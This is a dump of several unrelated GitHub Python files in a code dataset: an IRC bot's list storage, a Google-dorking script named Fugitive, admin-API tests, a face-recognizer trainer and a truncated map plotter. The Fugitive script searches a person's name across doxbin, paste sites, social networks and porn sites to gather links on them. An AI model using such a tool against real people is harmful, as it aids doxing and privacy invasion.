intuitive to use\n\t\tisAdminOnly = True if result[1] else False\n\t\treturn result[0], isAdminOnly, isChannelSpecificList\n\n\tdef normalizeSearchQuery(self, inputSearchQuery):\n\t\tif not inputSearchQuery:\n\t\t\treturn None\n\t\toutputSearchQuery = inputSearchQuery\n\t\t# SQL queries use % and _ as multi- and single-character wildcards, respectively. * and ? are more common, so replace those\n\t\toutputSearchQuery = outputSearchQuery.replace('*', '%').replace('?', '_')\n\t\t# Since it's natural to assume searching doesn't only search for the literal string, add wildcards to the start and end if there are no wildcards yet\n\t\tif '_' not in outputSearchQuery and '%' not in outputSearchQuery:\n\t\t\toutputSearchQuery = \"%{}%\".format(outputSearchQuery)\n\t\treturn outputSearchQuery\n\n\tdef normalizeListname(self, inputListname):\n\t\toutputListname = inputListname\n\t\t# There's multiple ways to create unicode characters, and there's duplicate characters for historical reasons\n\t\t# Python and SQLite kind of disagree on that, so normalize it here to prevent any disagreements resulting in errors\n\t\toutputListname = unicodedata.normalize('NFKC', outputListname)\n\t\toutputListname = IrcFormattingUtil.removeFormatting(outputListname)\n\t\toutputListname = outputListname.lower()\n\t\treturn outputListname\n\n\tdef getRandomEntry(self, cursor, listname=None, listId=None, searchquery=None, shouldAddEntryInfo=False, randomGenerator=None):\n\t\t# Inner select is to get a count of entries, the random offset picks a random one of those, the outer select actually retrieves the entry\n\t\tentryData = cursor.execute(\"SELECT * FROM list_entries WHERE list_id=:listId{0} LIMIT 1 OFFSET CAST((SELECT COUNT(*) FROM list_entries WHERE list_id=:listId{0}) * :randomFloat AS INT)\".format(\" AND text LIKE :query\" if searchquery else ''),\n\t\t\t\t\t\t {'listId': listId, 'randomFloat': randomGenerator.random() if randomGenerator else random.random(), 'query': searchquery}).fetchone()\n\t\tif not entryData:\n\t\t\tif searchquery:\n\t\t\t\treturn \"The '{}' list doesn't have any entries that match your search query, sorry\".format(listname)\n\t\t\telse:\n\t\t\t\treturn \"Huh, seems the '{}' list is empty. Weird that somebody made a list but then didn't add anything to it\".format(listname)\n\t\treturn self.formatEntry(entryData, shouldAddEntryInfo)\n\n\tdef getRandomListEntry(self, servername, channelname, listname, searchquery=None, randomGenerator=None):\n\t\t\"\"\"\n\t\tGet a random entry from the provided list for the provided server and channel\n\t\t:param servername: The name of the server to get the list for\n\t\t:param channelname: The name of the channel to get the list for. Can be empty for a server-list, but even if it's set a server-list will be found if it exists\n\t\t:param listname: The name of the list to get a randomentry from\n\t\t:param searchquery: An optional search query, a random entry will be picked from the entries that match this query. If not provided, a random entry will be picked from all the list entries\n\t\t:param randomGenerator: An optional random generator to use. Useful if you want to have seeded randomness. Should be a random.Random() instance\n\t\t:return: The text of the randomly picked entry\n\t\t\"\"\"\n\t\twith sqlite3.connect(self.databasePath) as connection:\n\t\t\tcursor = connection.cursor()\n\t\t\tlistname = self.normalizeListname(listname)\n\t\t\tlistId = self.getBasicListData(cursor, listname, servername, channelname)[0]\n\t\t\tif listId is None:\n\t\t\t\traise CommandInputException(\"No matching list found for listname '{}' on server '{}' and channel '{}'\".format(listname, servername, channelname))\n\t\t\treturn self.getRandomEntry(connection.cursor(), listname, listId, self.normalizeSearchQuery(searchquery), randomGenerator=randomGenerator)\n\n\tdef searchForEntry(self, cursor, listname, listId, searchquery, shouldAddEntryInfo=False):\n\t\tmatchCount = cursor.execute(\"SELECT COUNT(*) FROM list_entries WHERE list_id=? AND text LIKE ?\", (listId, searchquery)).fetchone()[0]\n\t\tif matchCount == 0:\n\t\t\treplytext = \"Sorry, the '{}' list doesn't have any entries that match your search query\".format(listname)\n\t\telif matchCount == 1:\n\t\t\tmatchedEntry = cursor.execute(\"SELECT * FROM list_entries WHERE list_id=? AND text LIKE ?\", (listId, searchquery)).fetchone()\n\t\t\treplytext = self.formatEntry(matchedEntry, shouldAddEntryInfo)\n\t\telse:\n\t\t\treplytext = self.getRandomEntry(cursor, listId=listId, searchquery=searchquery, shouldAddEntryInfo=shouldAddEntryInfo)\n\t\t\tif shouldAddEntryInfo:\n\t\t\t\treplytext += \" ({:,} more match{})\".format(matchCount - 1, '' if matchCount == 2 else 'es')\n\t\treturn replytext\n\n\tdef getEntryById(self, cursor, listname, listId, entryId):\n\t\tif entryId <= 0:\n\t\t\traise CommandInputException(\"Entry IDs can't be zero or smaller, they start at 1\")\n\t\tentry = cursor.execute(\"SELECT * FROM list_entries WHERE list_id=? AND id=?\", (listId, entryId)).fetchone()\n\t\tif not entry:\n\t\t\traise CommandInputException(\"The '{}' list doesn't have an entry with ID {}, that's weird. Are you sure you typed it correctly?\".format(listname, entryId))\n\t\treturn entry\n\n\tdef formatEntry(self, entryData, shouldAddEntryInfo=False):\n\t\tif shouldAddEntryInfo:\n\t\t\tformattedEntry = \"Entry {:,}: {} (by {} on {}\".format(entryData[0], entryData[2], entryData[3], self.formatTimestamp(entryData[4]))\n\t\t\tif entryData[5] and entryData[6]:\n\t\t\t\tformattedEntry += \", edited by {} on {}\".format(entryData[5], self.formatTimestamp(entryData[6]))\n\t\t\tformattedEntry += \")\"\n\t\t\treturn formattedEntry\n\t\telse:\n\t\t\treturn entryData[2]\n\n\tdef formatTimestamp(self, timestamp):\n\t\treturn datetime.datetime.utcfromtimestamp(timestamp).strftime(\"%Y-%m-%d %H:%M UTC\")\n", "repo_name": "Didero/DideRobot", "sub_path": "commands/List.py", "file_name": "List.py", "file_ext": "py", "file_size_in_byte": 32240, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "commands.CommandTemplate.CommandTemplate", "line_number": 11, "usage_type": "name"}, {"api_name": "os.path.join", "line_number": 18, "usage_type": "call"}, {"api_name": "os.path", "line_number": 18, "usage_type": "attribute"}, {"api_name": "GlobalStore.scriptfolder", "line_number": 18, "usage_type": "attribute"}, {"api_name": "GlobalStore.commandhandler.addCommandFunction", "line_number": 21, "usage_type": "call"}, {"api_name": "GlobalStore.commandhandler", "line_number": 21, "usage_type": "attribute"}, {"api_name": "os.path.isfile", "line_number": 23, "usage_type": "call"}, {"api_name": "os.path", "line_number": 23, "usage_type": "attribute"}, {"api_name": "sqlite3.connect", "line_number": 24, "usage_type": "call"}, {"api_name": "commands.CommandTemplate.CommandTemplate.getHelp", "line_number": 35, "usage_type": "call"}, {"api_name": "commands.CommandTemplate.CommandTemplate", "line_number": 35, "usage_type": "name"}, {"api_name": "sqlite3.connect", "line_number": 100, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 129, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 146, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 147, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 147, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 148, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 164, "usage_type": "call"}, {"api_name": "time.time", "line_number": 170, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 176, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 182, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 185, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 185, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 186, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 220, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 221, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 221, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 222, "usage_type": "call"}, {"api_name": "time.time", "line_number": 228, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 235, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 239, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 242, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 242, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 243, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 253, "usage_type": "call"}, {"api_name": "util.WebUtil.uploadText", "line_number": 274, "usage_type": "call"}, {"api_name": "util.WebUtil", "line_number": 274, "usage_type": "name"}, {"api_name": "CustomExceptions.WebRequestException", "line_number": 275, "usage_type": "name"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 297, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 297, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 298, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 300, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 303, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 305, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 311, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 311, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 312, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 314, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 316, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 320, "usage_type": "call"}, {"api_name": "time.time", "line_number": 323, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 328, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 328, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 329, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 333, "usage_type": "call"}, {"api_name": "PermissionLevel.CHANNEL", "line_number": 340, "usage_type": "attribute"}, {"api_name": "PermissionLevel.SERVER", "line_number": 340, "usage_type": "attribute"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 341, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 343, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 346, "usage_type": "call"}, {"api_name": "unicodedata.normalize", "line_number": 409, "usage_type": "call"}, {"api_name": "util.IrcFormattingUtil.removeFormatting", "line_number": 410, "usage_type": "call"}, {"api_name": "util.IrcFormattingUtil", "line_number": 410, "usage_type": "name"}, {"api_name": "random.random", "line_number": 417, "usage_type": "call"}, {"api_name": "sqlite3.connect", "line_number": 435, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 440, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 458, "usage_type": "call"}, {"api_name": "CustomExceptions.CommandInputException", "line_number": 461, "usage_type": "call"}, {"api_name": "datetime.datetime.utcfromtimestamp", "line_number": 475, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 475, "usage_type": "attribute"}]} {"seq_id": "27811002605", "text": "import argparse\nimport sys\nfrom helium import *\nimport time\nfrom colorama import Fore, Back, Style\nimport os \n\nprev_url = -1\nfinal = []\ndriver = -1\n\nos.system(\"clear\")\nprint(f\"\"\"\n\n {Fore.WHITE}░█▀▀▀ █──█ █▀▀▀ ─▀─ ▀▀█▀▀ ─▀─ ▀█─█▀ █▀▀ \n {Fore.RED}░█▀▀▀ █──█ █─▀█ ▀█▀ ──█── ▀█▀ ─█▄█─ █▀▀ \n {Fore.WHITE}░█─── ─▀▀▀ ▀▀▀▀ ▀▀▀ ──▀── ▀▀▀ ──▀── ▀▀▀ \n {Fore.RED}⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯\n | {Fore.CYAN}Created By {Fore.YELLOW}: {Fore.WHITE}RetroPackets {Fore.RED}|\n ⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯\n\"\"\")\ntest = input(f\"{Fore.WHITE}𝗦𝗘𝗔𝗥𝗖𝗛 {Fore.YELLOW}⑆ {Fore.GREEN}\")\ndef banner():\n os.system(\"clear\")\n print(f\"\"\"\n\n {Fore.WHITE}░█▀▀▀ █──█ █▀▀▀ ─▀─ ▀▀█▀▀ ─▀─ ▀█─█▀ █▀▀ \n {Fore.RED}░█▀▀▀ █──█ █─▀█ ▀█▀ ──█── ▀█▀ ─█▄█─ █▀▀ \n {Fore.WHITE}░█─── ─▀▀▀ ▀▀▀▀ ▀▀▀ ──▀── ▀▀▀ ──▀── ▀▀▀ \n {Fore.RED}⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯\n | {Fore.CYAN}Created By {Fore.YELLOW}: {Fore.WHITE}RetroPackets {Fore.RED}|\n ⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯⋯ \n \"\"\")\n\ndef parser_error(self):\n banner()\n print(\"Usage: python \" + sys.argv[0] + \" [Options] use -h for help\")\n sys.exit()\n\n\ndef parse_args():\n parser = argparse.ArgumentParser(epilog='\\tExample: \\r\\npython ' + sys.argv[0] + \" -d 'THE-DORK-YOU-WANT'\")\n parser.error = parser_error\n parser._optionals.title = \"OPTIONS\"\n parser.add_argument('-f', '--dorkfile', required=False)\n parser.add_argument('-d', '--dork', required=False)\n parser.add_argument('-o', '--output', required=False)\n args = parser.parse_args()\n return args\n\n\ndef input_(dork):\n helium.write(dork)\n helium.press(ENTER)\n time.sleep(2)\n\ndef re_enter():\n global prev_url\n global driver\n driver = helium.start_firefox(headless=False)\n time.sleep(5)\n go_to(prev_url)\n flow()\n\n\ndef urlExtract():\n global final\n urls = helium.find_all(S('.yuRUbf'))\n url = [i.web_element.find_element_by_tag_name('a').get_attribute('href') for i in urls]\n if (url == []):\n kill_browser()\n re_enter()\n url = clean(url)\n final.extend(url)\n\ndef pages():\n global driver\n global prev_url\n while True:\n try:\n prev_url = driver.current_url\n helium.scroll_down(num_pixels=100000)\n helium.click('Next')\n time.sleep(2)\n urlExtract()\n except:\n break\n\n\ndef clean(li):\n li = set(li)\n return list(li)\n\ndef flow():\n urlExtract()\n time.sleep(2)\n pages()\n try:\n kill_browser()\n except:\n pass\n\ndef exechaha(args,dorks):\n global driver\n if(args.dorkfile):\n with open(dorks) as f:\n while True:\n line = f.readline()\n if not line:\n break\n else:\n driver = helium.start_firefox(headless=False)\n go_to('https://www.google.com/search?q=site:doxbin.com | site:instagram.com | site:facebook.com | site:youtube.com | site:zerobin.net | site:pastebin.com | site:skidbin.net | site:hastebin.com | site:twitter.com | site:linkedin.com | site:pinterest.com | site:tumblr.com | site:snapchat.com | site:reddit.com | site:github.com | site:gitlab.com | site:pornhub.com | site:whatsapp.com \\ site:tiktok.com \"' + test +'\"')\n input_(line)\n time.sleep(5)\n flow()\n\n else:\n line = args.dork\n driver = helium.start_firefox(headless=False)\n time.sleep(5)\n go_to('https://www.google.com/search?q=\"' + test + '\"')\n input_(line)\n time.sleep(5)\n flow()\n \ndef main():\n banner()\n global final\n args = parse_args()\n dorks = args.dorkfile\n exechaha(args,dorks)\n if(args.output):\n file1 = open(args.output+'.txt', 'w')\n for i in clean(final):\n file1.write(i.strip()+'\\n')\n file1.close()\n else:\n for i in clean(final):\n print(f\"{Fore.YELLOW}[{Fore.GREEN}ϟ{Fore.YELLOW}] {Fore.BLUE}\" + i)\n\nif __name__ == '__main__':\n try:\n main()\n except KeyboardInterrupt:\n print('\\n[ERR]: Interrupted')\n try:\n sys.exit(0)\n except SystemExit:\n os._exit(0)\n", "repo_name": "RetroPackets/Fugitive", "sub_path": "src/adv-search.py", "file_name": "adv-search.py", "file_ext": "py", "file_size_in_byte": 4860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "7", "api": [{"api_name": "os.system", "line_number": 12, "usage_type": "call"}, {"api_name": "colorama.Fore.WHITE", "line_number": 15, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 15, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 16, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 16, "usage_type": "name"}, {"api_name": "colorama.Fore.WHITE", "line_number": 17, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 17, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 18, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 18, "usage_type": "name"}, {"api_name": "colorama.Fore.CYAN", "line_number": 19, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 19, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 19, "usage_type": "attribute"}, {"api_name": "colorama.Fore.WHITE", "line_number": 19, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 19, "usage_type": "attribute"}, {"api_name": "colorama.Fore.WHITE", "line_number": 22, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 22, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 22, "usage_type": "attribute"}, {"api_name": "colorama.Fore.GREEN", "line_number": 22, "usage_type": "attribute"}, {"api_name": "os.system", "line_number": 24, "usage_type": "call"}, {"api_name": "colorama.Fore.WHITE", "line_number": 27, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 27, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 28, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 28, "usage_type": "name"}, {"api_name": "colorama.Fore.WHITE", "line_number": 29, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 29, "usage_type": "name"}, {"api_name": "colorama.Fore.RED", "line_number": 30, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 30, "usage_type": "name"}, {"api_name": "colorama.Fore.CYAN", "line_number": 31, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 31, "usage_type": "name"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 31, "usage_type": "attribute"}, {"api_name": "colorama.Fore.WHITE", "line_number": 31, "usage_type": "attribute"}, {"api_name": "colorama.Fore.RED", "line_number": 31, "usage_type": "attribute"}, {"api_name": "sys.argv", "line_number": 37, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 38, "usage_type": "call"}, {"api_name": "argparse.ArgumentParser", "line_number": 42, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 42, "usage_type": "attribute"}, {"api_name": "helium.write", "line_number": 53, "usage_type": "call"}, {"api_name": "helium.press", "line_number": 54, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 55, "usage_type": "call"}, {"api_name": "helium.start_firefox", "line_number": 60, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 61, "usage_type": "call"}, {"api_name": "helium.find_all", "line_number": 68, "usage_type": "call"}, {"api_name": "helium.scroll_down", "line_number": 82, "usage_type": "call"}, {"api_name": "helium.click", "line_number": 83, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 84, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 96, "usage_type": "call"}, {"api_name": "helium.start_firefox", "line_number": 112, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 115, "usage_type": "call"}, {"api_name": "helium.start_firefox", "line_number": 120, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 121, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 124, "usage_type": "call"}, {"api_name": "colorama.Fore.YELLOW", "line_number": 140, "usage_type": "attribute"}, {"api_name": "colorama.Fore", "line_number": 140, "usage_type": "name"}, {"api_name": "colorama.Fore.GREEN", "line_number": 140, "usage_type": "attribute"}, {"api_name": "colorama.Fore.BLUE", "line_number": 140, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 148, "usage_type": "call"}, {"api_name": "os._exit", "line_number": 150, "usage_type": "call"}]} {"seq_id": "14367864740", "text": "import secrets\n\nimport pytest\n\nfrom tests.common import email\nfrom litecord.enums import UserFlags\n\n\nasync def _search(test_cli, *, username=\"\", discrim=\"\"):\n query_string = {\"username\": username, \"discriminator\": discrim}\n\n return await test_cli.get(\"/api/v6/admin/users\", query_string=query_string)\n\n\n@pytest.mark.asyncio\nasync def test_list_users(test_cli_staff):\n \"\"\"Try to list as many users as possible.\"\"\"\n resp = await _search(test_cli_staff, username=test_cli_staff.user[\"username\"])\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert isinstance(rjson, list)\n assert rjson\n\n\n@pytest.mark.asyncio\nasync def test_find_single_user(test_cli_staff):\n user = await test_cli_staff.create_user(\n username=\"test_user\" + secrets.token_hex(2), email=email()\n )\n resp = await _search(test_cli_staff, username=user.name)\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert isinstance(rjson, list)\n fetched_user = rjson[0]\n assert fetched_user[\"id\"] == str(user.id)\n\n\nasync def _setup_user(test_cli) -> dict:\n genned = secrets.token_hex(7)\n\n resp = await test_cli.post(\n \"/api/v6/admin/users\",\n json={\n \"username\": genned,\n \"email\": f\"{genned}@{genned}.com\",\n \"password\": genned,\n },\n )\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert isinstance(rjson, dict)\n assert rjson[\"username\"] == genned\n\n return rjson\n\n\nasync def _del_user(test_cli, user_id):\n \"\"\"Delete a user.\"\"\"\n resp = await test_cli.delete(f\"/api/v6/admin/users/{user_id}\")\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert isinstance(rjson, dict)\n assert rjson[\"new\"][\"id\"] == user_id\n assert rjson[\"old\"][\"id\"] == rjson[\"new\"][\"id\"]\n\n # delete the original record since the DELETE endpoint will just\n # replace the user by a \"Deleted User \", and we don't want\n # to have obsolete users filling up our db every time we run tests\n await test_cli.app.db.execute(\n \"\"\"\n DELETE FROM users WHERE id = $1\n \"\"\",\n int(user_id),\n )\n\n\n@pytest.mark.asyncio\nasync def test_create_delete(test_cli_staff):\n \"\"\"Create a user. Then delete them.\"\"\"\n rjson = await _setup_user(test_cli_staff)\n\n genned = rjson[\"username\"]\n genned_uid = rjson[\"id\"]\n\n try:\n # check if side-effects went through with a search\n resp = await _search(test_cli_staff, username=genned)\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert isinstance(rjson, list)\n assert rjson[0][\"id\"] == genned_uid\n finally:\n await _del_user(test_cli_staff, genned_uid)\n\n\n@pytest.mark.asyncio\nasync def test_user_update(test_cli_staff):\n \"\"\"Test user update.\"\"\"\n user = await test_cli_staff.create_user()\n\n # set them as partner flag\n resp = await test_cli_staff.patch(\n f\"/api/v6/admin/users/{user.id}\", json={\"flags\": UserFlags.partner}\n )\n\n assert resp.status_code == 200\n rjson = await resp.json\n assert rjson[\"id\"] == str(user.id)\n assert rjson[\"flags\"] == UserFlags.partner\n\n refetched = await user.refetch()\n assert refetched.flags == UserFlags.partner\n", "repo_name": "dolfies/patchcord", "sub_path": "tests/test_admin_api/test_users.py", "file_name": "test_users.py", "file_ext": "py", "file_size_in_byte": 3247, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 39, "dataset": "github-code", "pt": "7", "api": [{"api_name": "pytest.mark", "line_number": 15, "usage_type": "attribute"}, {"api_name": "secrets.token_hex", "line_number": 29, "usage_type": "call"}, {"api_name": "tests.common.email", "line_number": 29, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 26, "usage_type": "attribute"}, {"api_name": "secrets.token_hex", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "litecord.enums.UserFlags.partner", "line_number": 108, "usage_type": "attribute"}, {"api_name": "litecord.enums.UserFlags", "line_number": 108, "usage_type": "name"}, {"api_name": "litecord.enums.UserFlags.partner", "line_number": 114, "usage_type": "attribute"}, {"api_name": "litecord.enums.UserFlags", "line_number": 114, "usage_type": "name"}, {"api_name": "litecord.enums.UserFlags.partner", "line_number": 117, "usage_type": "attribute"}, {"api_name": "litecord.enums.UserFlags", "line_number": 117, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 101, "usage_type": "attribute"}]} {"seq_id": "70312771103", "text": "import os\nimport cv2\nfrom PIL import Image\nimport numpy as np\ndef update():\n recognizer = cv2.face.LBPHFaceRecognizer_create()\n path = 'dataSet'\n\n def getImagesWithID(path):\n imagePaths = [os.path.join(path,f) for f in os.listdir(path)];\n faces = []\n IDs = []\n for imagePath in imagePaths:\n faceImg = Image.open(imagePath).convert('L')\n faceUp = np.array(faceImg,'uint8')\n ID = int(os.path.split(imagePath)[-1].split('.')[1])\n print(ID)\n faces.append(faceUp)\n IDs.append(ID)\n cv2.imshow(\"trainer\",faceUp)\n cv2.waitKey(100)\n return faces,np.array(IDs)\n faces,IDs = getImagesWithID(path)\n recognizer.train(faces,np.array(IDs))\n recognizer.save('recognizer/trainningData.yml')\n cv2.destroyAllWindows()\n cv2.destroyAllWindows()", "repo_name": "fastasturtlee/face-detection", "sub_path": "trainner.py", "file_name": "trainner.py", "file_ext": "py", "file_size_in_byte": 871, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "cv2.face.LBPHFaceRecognizer_create", "line_number": 6, "usage_type": "call"}, {"api_name": "cv2.face", "line_number": 6, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 10, "usage_type": "call"}, {"api_name": "os.path", "line_number": 10, "usage_type": "attribute"}, {"api_name": "os.listdir", "line_number": 10, "usage_type": "call"}, {"api_name": "PIL.Image.open", "line_number": 14, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 14, "usage_type": "name"}, {"api_name": "numpy.array", "line_number": 15, "usage_type": "call"}, {"api_name": "os.path.split", "line_number": 16, "usage_type": "call"}, {"api_name": "os.path", "line_number": 16, "usage_type": "attribute"}, {"api_name": "cv2.imshow", "line_number": 20, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 21, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 22, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 24, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 26, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 27, "usage_type": "call"}]} {"seq_id": "7831624879", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jan 30 23:48:42 2018\n\n@author: 罗\n\"\"\"\n\nimport numpy as np\nimport pickle\nimport pandas as pd\nfrom tqdm import tqdm\nimport os\nimport torch\nimport matplotlib.pyplot as plt\n\ncachepath='plot_cache'\n\ndef generate_map(path,k):\n a=pd.read_csv(path)\n x_max=int(a.xid.max())\n x_min=int(a.xid.min())\n y_max=int(a.yid.max())\n y_min=int(a.yid.min())\n d_max=int(a.date_id.max())\n d_min=int(a.date_id.min())\n h_max=int(a.hour.max())\n h_min=int(a.hour.min())\n coord=a.values[:,0:5].astype(int)\n lr=a.values[:,5]\n LR=np.zeros([(d_max-d_min+1)*(h_max-h_min+1),x_max-x_min+1,y_max-y_min+1,],dtype=int)#shape=[5*18,548,421]\n for i in tqdm(range(len(coord))):\n LR[(coord[i][3]-d_min)*(h_max-h_min+1)+(coord[i][4]-h_min),coord[i][1]-x_min,coord[i][2]-y_min]=int(lr[i]>=k/48.3)\n # dump_map(WIND,'WIND.pkl')\n dump_map(LR,'LR.pkl')\n # return WIND,LR\n return LR\n\n#####################author: LZM ###########################\ndef read_path(pathname):\n path_data=pd.read_csv(pathname,header=None)\n path_data.columns=['target','date','time','xid','yid']\n return path_data\n\n\ndef dump_map(map,file): \n with open(os.path.join(cachepath,file),'wb') as file:\n pickle.dump(map,file)\n print(\"File Dumped !\")\n\ndef binary_map(lr):\n start=[142,328,0]\n end_list=[[84,203],[199,371],[140,234],[236,241],[315,281],[358,207],[363,237],[423,266],[125,375],[189,274]]\n L=torch.from_numpy(lr).cuda()\n R=3*L.transpose(1,2) \n R[:,start[1]-1:start[1]+2,start[0]]=-4\n R[:,start[1],start[0]-1:start[0]+2]=-4\n for p in end_list:\n R[:,p[1]-1:p[1]+2,p[0]]=4\n R[:,p[1],p[0]-1:p[0]+2]=4\n return np.flip(R.cpu().numpy().astype(dtype=float),1)\n\n#修改了此处\ndef plot_map(R,path):\n if path:\n pathdata = read_path(\"data/(flrt)path(false).csv\") #注意此处path存储路径\n colors=['b', 'g', 'r', 'c', 'm', 'y', 'k']\n # i表示天数，j代表小时数\n for i in tqdm(range(5)):\n fig = plt.gcf() #可得到当前Figure的引用\n fig.set_size_inches(80,80)\n for j in range(18):\n ax = fig.add_subplot(6,3,j+1)\n im=ax.imshow(R[i*18+j],interpolation='nearest')\n ax.set_title('day_'+str(i)+'hour'+str(j))\n if path:\n for target in tqdm(range(1,11)):\n #注意这里需要修改\n xid=pathdata[(pathdata['date']==i+6)&(pathdata['target']==target)].xid.tolist()\n yid=[(420-i) for i in pathdata[(pathdata['date']==i+6)&(pathdata['target']==target)].yid.tolist()] #Y反转\n try:\n ax.plot(xid[(j)*30:30*(j+1)],yid[j*30:30*(j+1)],linewidth=2,color=colors[target%7-1],markersize=3) #七种颜色不断变化作图\n except:\n pass\n if i==0:\n fig.colorbar(im)\n fig.savefig(os.path.join(cachepath,'day_'+str(i)+'.png'), dpi=100)\n\n\ngenerate_map('data/final-lr-time-position.csv',14.5)\nwith 